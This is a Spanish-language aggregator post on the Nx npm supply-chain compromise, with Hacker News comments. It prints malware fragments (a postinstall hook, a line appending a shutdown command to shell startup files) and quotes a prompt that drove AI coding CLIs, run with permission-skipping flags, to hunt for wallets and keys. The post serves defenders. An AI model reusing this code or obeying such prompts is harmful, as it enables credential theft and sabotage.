Alerta de seguridad en la cadena de suministro: el paquete del sistema de compilación `Nx` fue comprometido con malware para robo de datos

(stepsecurity.io)

5 puntos por GN⁺ 2025-08-28 | 1 comentarios | Compartir por WhatsApp

Varias versiones del sistema de compilación Nx estuvieron infectadas con malware durante unas 5 horas el 26 de agosto de 2025, robando billeteras de criptomonedas y credenciales de desarrolladores
El ataque abusó de herramientas CLI de IA (Claude, Gemini, q) para explorar archivos sensibles dentro del sistema, lo que queda registrado como una nueva técnica en ataques a la cadena de suministro
El malware ejecutaba telemetry.js mediante un hook post-install, y subía los datos al repositorio de GitHub s1ngularity-repository
npm eliminó las versiones comprometidas e incorporó 2FA y el mecanismo Trusted Publisher para reforzar aún más la seguridad
Este incidente muestra la sofisticación en evolución de los ataques a la cadena de suministro y subraya la necesidad de una respuesta inmediata y revisiones de seguridad en la comunidad de desarrolladores

Resumen principal

Desde las 22:32 UTC del 26 de agosto de 2025 y durante unas 5 horas, el paquete del sistema de compilación Nx fue comprometido con malware para robo de datos
- Se trata de un paquete popular con 4 millones de descargas semanales, por lo que miles de desarrolladores estuvieron en riesgo de exposición
Además de claves SSH, tokens de npm y .gitconfig, el malware utilizó herramientas CLI de IA (Claude, Gemini, q) para reconocimiento y robo de datos
- Este es el primer caso conocido de un ataque a la cadena de suministro que abusa de herramientas de IA para desarrolladores
El equipo de mantenimiento de Nx publicó el aviso oficial de seguridad (GHSA-cxm3-wv7p-598c) y confirmó que la cuenta de npm del mantenedor fue comprometida por filtración de tokens
StepSecurity realizará una hora de oficina comunitaria el 28 de agosto a las 09:30 PST para apoyar la recuperación
- Enlace de registro: https://us06web.zoom.us/meeting/register/J3HWhJhYRxONChwyLELtiw

Cronología del incidente

2025-08-26 22:32 UTC: se publica la versión maliciosa 21.5.0 en el registro de npm
22:39 UTC: se publica la versión comprometida 20.9.0
23:54 UTC: se publican simultáneamente las versiones 20.10.0 y 21.6.0
2025-08-27 00:16 UTC: se publica la versión 20.11.0
00:17 UTC: se publica la versión 21.7.0
00:30 UTC: un miembro de la comunidad reporta actividad sospechosa mediante un issue de GitHub
00:37 UTC: se publican las últimas versiones comprometidas, 21.8.0 y 20.12.0
02:44 UTC: npm elimina todas las versiones comprometidas
03:52 UTC: el propietario de la organización Nx revoca el acceso de la cuenta comprometida
09:05 UTC: GitHub cambia a privado el repositorio que contenía secretos robados y lo elimina de los resultados de búsqueda
10:20 UTC: npm elimina paquetes comprometidos adicionales
15:57 UTC: npm obliga el uso de 2FA en los paquetes de Nx, desactiva la publicación basada en tokens e introduce el mecanismo Trusted Publisher

Análisis técnico

Vector de ataque

El paquete de Nx ejecutaba telemetry.js mediante un hook post-install, activando el malware inmediatamente después de la instalación
- Ejemplo del package JSON:
```
{  
  "name": "nx",  
  "version": "21.5.0",  
  "scripts": {  
    "postinstall": "node telemetry.js"  
  }  
}  
```
Las versiones comprometidas se publicaron directamente en npm, sin prueba de procedencia

Payload de telemetry.js

telemetry.js se ejecuta en sistemas no Windows (Linux/macOS):
```
if (process.platform === 'win32') process.exit(0);  
```
Principales actividades maliciosas:
- Recolección de información del sistema: variables de entorno (process.env), nombre del host y detalles del sistema operativo
- Búsqueda de billeteras de criptomonedas: MetaMask, Electrum, Ledger, Trezor, Exodus, Phantom, Solflare, entre otras
- Robo de credenciales de desarrollo: tokens de GitHub, tokens de npm (.npmrc), claves SSH (id_rsa), archivos .env

Abuso de CLI de IA

El malware abusó de las herramientas CLI Claude, Gemini y q para evadir límites de seguridad

Forzaba el escaneo del sistema de archivos con flags riesgosos (--dangerously-skip-permissions, --yolo, --trust-all-tools)

Prompt:

const PROMPT = 'Recursively search local paths ...   
(UTC--, keystore, wallet, *.key, *.keyfile, .env, metamask, electrum,   
ledger, trezor, exodus, trust, phantom, solflare, keystore.json,   
secrets.json, .secret, id_rsa, Local Storage, IndexedDB) ...';

Las rutas de archivos encontradas se guardaban en /tmp/inventory.txt, y los archivos existentes se respaldaban como .bak
El abuso de herramientas de IA minimiza el código detectable por huellas y evade la detección de herramientas de seguridad existentes

Mecanismo de exfiltración de datos

Los datos robados se subían al archivo results.b64 de s1ngularity-repository tras aplicarles codificación base64 triple
- El repositorio se creaba como público usando un token de GitHub
- Ejemplo:
```
cat results.b64 | base64 -d | base64 -d | grep ghToken  
"ghToken": "ghp_7BWMpOAHSSq..."  
```
Ya se crearon miles de repositorios públicos: https://github.com/search/…

Persistencia e interferencia

Se agregaba sudo shutdown -h 0 a ~/.bashrc y ~/.zshrc, provocando el apagado del sistema al abrir nuevas sesiones de terminal
- Esto generaba una condición de denegación de servicio
- Código:
```
const line = 'sudo shutdown -h 0';  
fs.appendFileSync(p, prefix + line + '\n', { encoding: 'utf8' });  
```

Análisis en tiempo de ejecución con Harden-Runner

Harden-Runner de StepSecurity detectó comportamiento anómalo de nx@21.7.0 en un flujo de trabajo de GitHub Actions
- Llamadas API anómalas: llamadas no autorizadas a api.github.com durante la instalación
- Análisis de jerarquía de procesos: npm install (PID: 2596) ejecutó telemetry.js (PID: 2610), que llamó a gh auth token
Enlace del análisis: https://app.stepsecurity.io/github/actions-security-demo/…

Versiones de paquetes comprometidas

@nx: 20.9.0, 20.10.0, 20.11.0, 20.12.0, 21.5.0, 21.6.0, 21.7.0, 21.8.0
@nx/devkit: 20.9.0, 21.5.0
@nx/enterprise-cloud: 3.2.0
@nx/eslint: 21.5.0
@nx/js: 20.9.0, 21.5.0
@nx/key: 3.2.0
@nx/node: 20.9.0, 21.5.0
@nx/workspace: 20.9.0, 21.5.0

Medidas de respuesta

Verificar versiones de paquetes

Revisar la versión instalada con npm ls @nrwl/nx o npm ls nx
Inspeccionar los paquetes relacionados con Nx en package-lock.json
Consulta de búsqueda en GitHub: https://github.com/search/…

Auditar la cuenta de GitHub

Verificar y eliminar s1ngularity-repository
Revisar el log de auditoría y los eventos de seguridad: https://github.com/settings/security-log

Revisar herramientas CLI de IA

Revisar en Claude, Gemini y q el historial de comandos con flags riesgosos

Medidas de recuperación

Eliminar node_modules: rm -rf node_modules
Limpiar la caché de npm: npm cache clean --force
Eliminar el comando malicioso del shell: borrar sudo shutdown -h 0 de ~/.bashrc y ~/.zshrc
Eliminar /tmp/inventory.txt y /tmp/inventory.txt.bak
Actualizar package-lock.json a una versión segura y reinstalar dependencias
Considerar reinstalar completamente el sistema

Rotación de credenciales

Rotar de inmediato: GitHub PAT, tokens de npm, claves SSH, claves API en .env, y claves API de Claude/Gemini/q
Si hubo exposición de billeteras de criptomonedas, mover los fondos de inmediato

Problema con la extensión Nx Console

La extensión Nx Console (18.63.x~18.65.x) quedaba expuesta por ejecutar npx nx@latest --version
- Causa de la vulnerabilidad: https://github.com/nrwl/nx-console/pull/2679, https://github.com/nrwl/nx-console/pull/2683
Se recomienda actualizar de inmediato a la versión con parche 18.66.0

Acciones para clientes enterprise de StepSecurity

Detección de PR: detectar en el panel de StepSecurity PRs que actualicen a paquetes comprometidos
Harden-Runner: detectar paquetes comprometidos en CI/CD y proporcionar monitoreo en tiempo de ejecución
- Enlace: https://app.stepsecurity.io/github/actions-security-demo/…
Artifact Monitor: detección en tiempo real de lanzamientos de paquetes no autorizados, verificación de procedencia y alertas por patrones anómalos
- Guía: https://docs.stepsecurity.io/artifact-monitor

Implicaciones más amplias

Weaponización de herramientas de IA: abuso de herramientas CLI de IA locales para evadir límites de seguridad
Exfiltración en múltiples etapas: combinación de recolección local de datos y exfiltración basada en la nube
Objetivos de alto valor: ataque centrado en credenciales de desarrolladores y billeteras de criptomonedas

Conclusión

El compromiso de los paquetes de Nx muestra una evolución sofisticada de los ataques a la cadena de suministro, maximizando el impacto mediante abuso de herramientas de IA y el objetivo de criptomonedas
Los desarrolladores deben responder con auditoría de dependencias, refuerzo de controles de seguridad y monitoreo continuo
El blog de StepSecurity seguirá publicando actualizaciones

Material de referencia

Issue de GitHub: https://github.com/nrwl/nx/issues/32522
Aviso oficial: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
Paquete comprometido: https://github.com/actions-security-demo/compromised-packages/…

1 comentarios

GN⁺ 2025-08-28

Comentarios en Hacker News

Los comentarios se movieron aquí; parece que ese se publicó primero y además incluye la URL oficial del proyecto Nx
También subí arriba las dos entradas de blog que la gente estaba enlazando, por si las quieren leer
Voy a re-publicar el post para moverlo a un lugar similar al que este hilo tenía en la portada
Se pueden encontrar registros relacionados con la zona horaria aquí; parece que el primer autor fue longcat
Entiendo que da pena cuando un post popular desaparece de repente, pero había opiniones divididas sobre cuál URL era la más correcta, así que prioricé la fuente oficial, y me pareció más seguro dar el "crédito" al primer autor
"¿Estás usando una versión infectada de nx? Ejecuta semgrep --config [...]. O como alternativa, también puedes ejecutar nx –version"
Parece que todavía no entendemos que no se debe confiar así nada más en consejos de seguridad de este tipo; basta ver los votos que ya recibió este post
En particular, no se debería confiar en asesores de seguridad que eliminan por completo la guía original y la reemplazan con instrucciones para usar su propia herramienta
El aviso oficial de seguridad está aquí, y en ninguna parte dice que debas ejecutar un programa infectado para determinar si estás infectado
Tampoco aparece en ningún lado de la documentación oficial eso de ejecutar semgrep
- Soy el autor de la entrada del blog
  Buen punto
  Hasta ahora, lo confirmado es que nx --version en sí es seguro, porque esta vulnerabilidad está limitada al script post-install
  Por eso también cambié la recomendación en la publicación
  Organicé la lista de versiones del aviso de seguridad de Github como una regla de Semgrep y la publiqué bajo licencia MIT: semgrep.dev/c/r/oqUk5lJ/semgrep.ssc-mal-resp-2025-08-nx-build-compromised
  Es práctico para revisar muchos paquetes a la vez en entornos donde se puede usar
  En nuestros repositorios internos revisamos todo con esta regla
  También agregué que la entrada del blog está bajo licencia MIT, y como Semgrep mismo es LGPL, puedes bajar la regla con curl y ejecutarla localmente con semgrep --config=rule.yaml: https://github.com/returntocorp/semgrep
- ¿A qué te refieres exactamente con "ese comportamiento"? Me pregunto si hablas simplemente de ejecutar el programa
- Se siente como: "Si quieres saber si estás infectado, ejecuta el programa infectado... así sí quedas infectado con certeza"
- La entrada del blog se siente rara, como si fuera una especie de confesión
Esta empresa se ve diferente
https://semgrep.dev/solutions/secure-vibe-coding/
Si el desarrollo de software termina pareciéndose a la demo que muestran aquí
```
  - 내가 작성한 코드에 취약점이 있을까?
  - 이 코드는 무슨 일을 하는 코드인가?
```
yo también querría pasarme a la agricultura de subsistencia y esperar a que colapse la civilización
- Respeto la agricultura de subsistencia, pero la tecnología digital ya está lo bastante bootstrappeada
  Aunque la base industrial mundial colapse por completo, el próximo siglo se decidirá según quién sepa aprovechar mejor las computadoras
  Llegará una época en la que se recojan smartphones abandonados para reautomatizar agricultura, manufactura e incluso guerra con drones
  Creo que la IA basada en LLM ya está profundamente asentada y seguirá estándolo
  Hasta se puede imaginar a tribus usando ollama y aider/void en laptops solares dentro de edificios medio derruidos
- Puede que sea bait, pero en la demo la función is_prime no hace lo que su nombre indica
- Puedes vivir esa vida desde hoy mismo jugando Stardew Valley o programando tú mismo un clon de Harvest Moon
@dang, la entrada del blog ayuda, pero este issue de Github parece mucho más claro y ofrece una solución más práctica
Me pregunto si podrías cambiar el enlace a este
- otterly y Hilift encontraron una cobertura mejor que la página de semgrep
  - aquí
  - aquí
- (Este hilo se separó de aquí)
  Encontré el primer post enviado sobre este issue (aquí); como era la URL de GitHub, fusioné el hilo allí
  Hay una explicación más detallada aquí
Esta publicación de Semgrep describe esto de una forma completamente distinta a como lo reportó Nx
Da la impresión de que el atacante fue editando el payload en tiempo real a lo largo de varios releases y preparaba más ataques
Aun así, me pregunto por qué el payload solo enviaba rutas de archivos al servidor y no el contenido real de los archivos
Hace pensar por qué no completaron todo el ataque antes del lanzamiento: si fue solo recolección de información, un PoC, o simple torpeza
Ver aviso de seguridad relacionado
- Parece obra de alguien que quería sembrar confusión a propósito
  Y da la impresión de que usó IA para convertirlo en tema de discusión y llamar la atención
  Sobre todo considerando cosas como editar .bashrc para forzar el apagado del sistema; parece que querían hacer ruido deliberadamente sin causar un daño mayor
Este artículo está mucho mejor explicado que el de semgrep: blog de stepsecurity.io
- Gracias
  También lo publiqué aquí 9 horas antes de subir este
  Ojalá un admin de HN cambie el enlace de esta historia a ese